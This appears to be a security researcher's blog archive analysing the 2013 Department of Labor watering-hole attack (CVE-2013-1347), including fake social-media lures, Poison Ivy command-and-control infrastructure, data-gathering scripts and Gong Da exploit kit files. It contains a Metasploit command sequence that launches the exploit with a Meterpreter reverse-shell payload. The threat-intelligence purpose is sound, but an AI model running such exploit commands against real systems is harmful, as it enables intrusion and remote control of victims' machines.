Posts tagged Microsoft
As I explained in my previous blog post, nine websites were involved in the DOL watering hole campaign. The first involved website was University Research Co. Cambodia (www[.]urccambodia[.]org) from 2013-03-15 to 2013-04-29. This website came out of the context of other websites used in this watering hole campaign.
The Better Health Services (BHS) is a USAID-funded health systems strengthening project in Cambodia that began in January 2009 and runs through December 2013. The BHS project’s goals dovetail with the mission of the Ministry of Health as stated in the Cambodian Health Strategic Plan 2008-2015 (HSP2) “to provide stewardship for the entire health sector and to ensure a supportive environment for increased demand and equitable access to quality health services in order that all the peoples of Cambodia are able to achieve the highest level of health and well-being.”
By continuing my researches on the gathered information’s found on dol[.]ns01[.]us backend and focusing on all information’s related to University Research Co. Cambodia website, I found some interesting behaviours.
In all the gathered information’s I firstly found a connection referer to www[.]urccambodia[.]org, this referer was a shortened URL http://t[.]co/RnWc0Z13Sc. Doing a google research on this shortened URL we can find a tweet from @natividad_usaid, dating from 2013-03-18.
If you observe @natividad_usaid, you will see that the account activity has begun the March 18th and finished the April 10th. Mostly all of the tweet have provide link to www[.]urccambodia[.]org, during the time of this website infection. Some twitter users were directly contacted in order to incite them to click to the link and most of these users were related to USAID (US Agency for International Development).
But most interesting is the profile description of this account and especially the shortened URL goo[.]gl/kpb7r how lead to “this is my pic.scr” file hosted on Dropbox. By analyzing this file it appear that it is Poison Ivy (504a32e123194a298018129404a1374e).
A malwr analysis of this sample reveal that “microsoftUpdate[.]ns1[.]name” is the contacted C&C server and that “conime.exe” file is also created. This C&C server is the same as mentioned by Crowdstrike, AlienVault and other security researchers or vendors, but from “bookmark.png” payload involved in Internet Explorer 8 0day (CVE-2013-1347).
It seem that this twitter account was only created and used to incite USAID twitter users to be infected through a www[.]urccambodia[.]org visit.
By continuing to analyze www[.]urccambodia[.]org related gathered information’s, I found a second connection referer to www[.]urccambodia[.]org. This referer is the Facebook profile of Kelly Black “http://www.facebook.com/kelly.black.92754“.
This sexy lady, posing with a friend, pretend to have work for USAID, to have study at UVA College of Arts & Sciences Alumni, to live in Washington, District of Columbia and to be from Springfield, Illinois.
Kelly Black account activity has start and stopped the same day, the March 24th. Most of the posts of this “lady” are link to infected www[.]urccambodia[.]org website and/or to project around sanitation of Mekong waters organized by US organization’s.
This sexy lady has, in one day of activity, 41 friends and most of these friends are from USAID or from others organization’s.
Now the funny part of the story, on the picture you can see two beautiful women with a yellow T-shirt and they seem to enjoy the live. One of the friends of Kelly Black was interesting to know which of the two she was, and the “bad guys” toke the time to respond to him
But I was intrigued by this picture and decided to compare this one on Internet, and ho miracle these ladies are not US women from Springfield, Illinois, but Swedish supporters who were photographed during European soccer cup in Poland/Ukraine.
On April 30th, the watering hole campaign was published on a private mailing list and the May 1st, Invicia and AlienVault publicly reported, with technical details, that United States Department of Labor (DOL) Site Exposure Matrices (SEM) website had been compromised and was hosting malicious code. This malicious code was used in watering hole attack targeting at first employees of US Dept of Energy that work in nuclear weapons programs. This malicious code was also used to gather information’s on the visitors of the compromised website.
The exploit used in this campaign was firstly reported as CVE-2012-4792, an Internet Explorer 0day used in December 2012 in CFR.org watering hole campaign and patched by Microsoft in January 2013. Despite the patch release some forks of this exploit were still used in targeted attacks against political parties, political dissidents, online medias and human right activists.
Two days later, FireEye, Invicia and AlienVault concluded that the vulnerability targeted during this attack campaign was not CVE-2012-4792 as they originally reported but a new Internet Explorer 8 vulnerability identified as CVE-2013-1347. This turnaround had unfortunately occur to late. Casual attacker, chaotic actors, organized crime and potentially other states involved in sponsored espionage had the opportunity to study the attack and recover the evidences.
Microsoft has acknowledge the vulnerability in a Microsoft Security Advisory published on May 3rd and identified as MSA-2847140 and has provide a “Fix it” solution to mitigate Internet Explorer 8 vulnerability.
Also, Adobe has announce through APSA13-03 that a critical vulnerability (CVE-2013-3336) is actually exploited against ColdFusion. This vulnerability could permit an unauthorized user to remotely retrieve files stored on the server, through “CFIDE/administrator“, “CFIDE/adminapi” and “CFIDE/gettingstarted*” directories. Adobe ColdFusion is used by DOL and this vulnerability has surely be used in order to compromise the server.
Possible Causes of Confusion between CVE-2012-4792 and CVE-2013-1347
Confusions with CVE-2012-4792 was possible due to similarities in used code and technics:
“function getCookieVal(offset)“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
“function GetCookie(name)“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
“function SetCookie(name,value)“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
“var ua = window.navigator.userAgent.toLowerCase()“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
“function DisplayInfo()” also seen in CVE-2012-4792 & CVE-2011-0611 exploits.
“function download()” & “function callback()” also seen in CVE-2012-4792 exploit.
Usage of Ajax XMLHttpRequest
Usage of HTML+TIME technic
HTML+TIME, which is based on the Synchronized Multimedia Integration Language (SMIL), was also used in certain CVE-2012-4792. This technic was explained by Exodus Intel beginning January 2013.
Parts of the code targets only Windows XP, Internet Explorer 8 and certain languages, like CVE-2012-4792.
Differences between CVE-2012-4792 and CVE-2013-1347, and Particularities
Some new particularities were present in the exploit and associated watering hole campaign:
Usage of PHP files
Usage of Base64 obfuscation
Obfuscation with base64 encoding (“base64.js” file) was used to hide parts of the exploit. CVE-2012-4792 was using “robots.txt” obfuscated with substitutions and HEX encoding.
As mentioned by sinn3r of Metasploit team, CVE-2012-4792 was a CButton object use-after-free and CVE-2013-1347 is a CGenericElement object use-after-free.
dol[.]ns01[.]us Exploit Hosting Domain Evolutions
You can observe this evolution with the urlQuery submission of 2013-04-30.
All these urlQuery submission’s were done with a non Internet Explorer 8 user agent, and as the exploit malicious code was designed to only target Windows XP and Internet Explorer 8, part of the redirection were not present as evidences.
The first inclusion “/web/xss.php” was used in order to gather information’s on the DOL website visitors and the second inclusion “/update/index.php” was used to start the exploitation of CVE-2013-1347.
Information Gathering Scripts
Also a specific information gathering technic was triggered when Internet Explorer was used. This technic is related to a non patched vulnerability in Internet Explorer 8, discovered by NSFOCUS and reported to Microsoft in 2011. The vulnerability could allow user information and even local file content leakage if a user views a specially crafted webpage using Internet Explorer.
Once all information’s gathered, the script send all data’s on a specific URL “hxxp://dol[.]ns01[.]us:8081/web/js.php” and also call “hxxp://dol[.]ns01[.]us:8081/web/css.js” when the information’s are collected.
An interesting information regarding “/web/css.js“, is that the “Last Modified” date reported by “dol[.]ns01[.]us” server is Thu, 14 Mar 2013 20:06:36 GMT. This is reporting that the information gathering infrastructure was in place since mid-March minimum.
Interesting facts regarding these information gathering scripts are:
- Scripts “xss.php“, “js.php” & “css.js” have move from IP 96[.]44[.]136[.]115 on port 80/TCP to domain dol[.]ns01[.]us port 8081/TCP. Move from port 80/TCP to 8081/TCP doesn’t seem to be logic, most of time outgoing connexion’s authorized on Firewalls, for corporate Web surfing, are 80/TCP and 443/TCP.
- Different types of information gathering scripts were in place, and all users who have visit DOL website were affected by this information gathering campaign.
- Usage of a specific information leakage vulnerability present in Internet Explorer 8 and not fixed by Microsoft.
- BitDefender 2012 deactivation attempt is confusing. Why trying to deactivate an anti-virus, this will surely generate an alert.
Information Gathered on dol[.]ns01[.]us
As described in the previous chapter, the information gathering code send a lot of information’s to the backend. Hopefully for security researchers, the backend wasn’t very well protected and all collected information’s were accessible without any restrictions in different web folders. You can find here under some statistics related to the gathered information’s.
Complete geolocation of the targeted source IPs
By analyzing the information’s sent to the backend, we can also see that DOL (www.sem.dol.gov) wasn’t the only compromised website:
- From 2013-03-15 to 2013-04-29 : University Research Co. Cambodia website (www.urccambodia.org) was the first target .This explain the high number of distinct IP addresses from Cambodia.
- From 2013-04-08 to 2013-04-24 : Awards for Excellence in Education website (www.forexcellenceineducation.org), a program of Fraser Institute, was the second target.
- From 2013-04-08 to 2013-04-24 : ElectionGuide website (www.electionguide.org), provided by the International Foundation for Electoral Systems (IFES), was the third target.
- From 2013-04-09 to 2013-04-30 : French Institute of International Relations website (www.ifri.org), was the fourth target.
- From 2013-04-09 to 2013-04-24 : The Working for America Institute website (www.workingforamerica.org), was the fifth target.
- From 2013-04-09 to 2013-04-10 : The Project 2049 Institute website (www.project2049.net), was the sixth target.
- From 2013-04-10 to 2013-04-10 : The Union Label and Service Trades Department website (www.unionlabel.org), was the seventh target.
- From 2013-04-11 to 2013-04-30 : Thales Catalogue website (components-subsystems.thales-catalogue.com), was the eighth target.
- From 2013-04-23 to 2013-05-01 : United States Department of Labor (DOL) Site Exposure Matrices (SEM) website (www.sem.dol.gov), was the ninth target.
Here under the hits by browsers and Internet Explorer 8 hits by OS.
Others Information’s Gathered
As you have read in the previous chapter, ElectionGuide website (www.electionguide.org) was also targeted during this watering hole campaign. As you can see in the following urlQuery submission, dating from 2013-05-01, 96[.]44[.]136[.]115 is also present but don’t respond any more. Also if you observe the urlQuery submission of 2013-05-03, 96[.]44[.]136[.]115 is still present, but a new backend server has been setup in order replace the once deactivated.
If you observe the “Last Modified” date of “css.js” file, the installation date of these files is at least the 2013-05-03.
Also, by researching some patterns matching the information’s gathering script on Google you can find some previous unknown campaigns, that were using the same code.
Watering hole campaign first reported on a private mailing list the 2013-04-30
Watering hole campaign publicly disclosed by AlienVault and Invincea the 2013-04-30
0day exploit spotted by FireEye the 2013-05-03
Microsoft Security Advisory posted the 2013-05-03
Metasploit PoC provided the 2013-05-05
PoC provided by :
Affected version(s) :
Internet Explorer 8
Tested on Windows XP Pro SP3 with :
Internet Explorer 8
This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that’s controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) web site.
use exploit/windows/browser/ie_cgenericelement_uaf set SRVHOST 192.168.178.36 set TARGET 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.36 exploit getuid sysinfo
Like other Exploit Kits, Gong Da has add support for Oracle Java CVE-2013-1493 vulnerability, fixed in Oracle Java 6 Update 17, has also add support for Microsoft Internet Explorer CVE-2012-4969 and CVE-2012-4792 vulnerabilities, fixed in an emergency patch in September 2012 and January 2013.
Here is the new code for CVE-2013-1493.
And here the new code for CVE-2012-4792 (aka 4792.html) and CVE-2012-4969 (aka payload.html).
Also a new variant of CVE-2012-1889 (xml.html) has been introduced, reducing the detection rate by anti-viruses.
As always this new version of Gong Da Exploit Kit has been discovered on a Korean web site.
Gong Da Pack has involve to the following diagram.
Here under some information s regarding the different files:
- HcIa2.jar (aka CVE-2011-3544): 11/46 on VirusTotal.com
- bzExj6.jar (aka CVE-2012-0507): 14/45 on VirusTotal.com
- BnkLbvY3.jar (aka CVE-2012-1723): 19/46 on VirusTotal.com
- iCNpns4.jar (aka CVE-2012-4681): 28/46 on VirusTotal.com
- JdtDFRW1.jar (aka CVE-2012-5076): 16/46 on VirusTotal.com
- TolxrJG6.jar (aka CVE-2013-0422): 19/46 on VirusTotal.com
- FQxzUjYP.jar (aka CVE-2013-1493): 16/46 on VirusTotal.com
- GwDFO7.swf (aka CVE-2013-0634): 10/46 on VirusTotal.com
- xmlcoreOld.html (aka CVE-2012-1889): 18/46 on VirusTotal.com
- xml.html (aka CVE-2012-1889): 3/35 on VirusTotal.com
- xmlcoreNew.html (aka CVE-2012-1889): 10/45 on VirusTotal.com
- 4792.html (aka CVE-2012-4792): 1/46 on VirusTotal.com
- xyaKEg.html and payload.html (aka CVE-2012-4969): 5/46 on VirusTotal.com
Normally Gong Da was used against gamers, but this time the loaded malware seem to be different (analysis on ThreatExpert)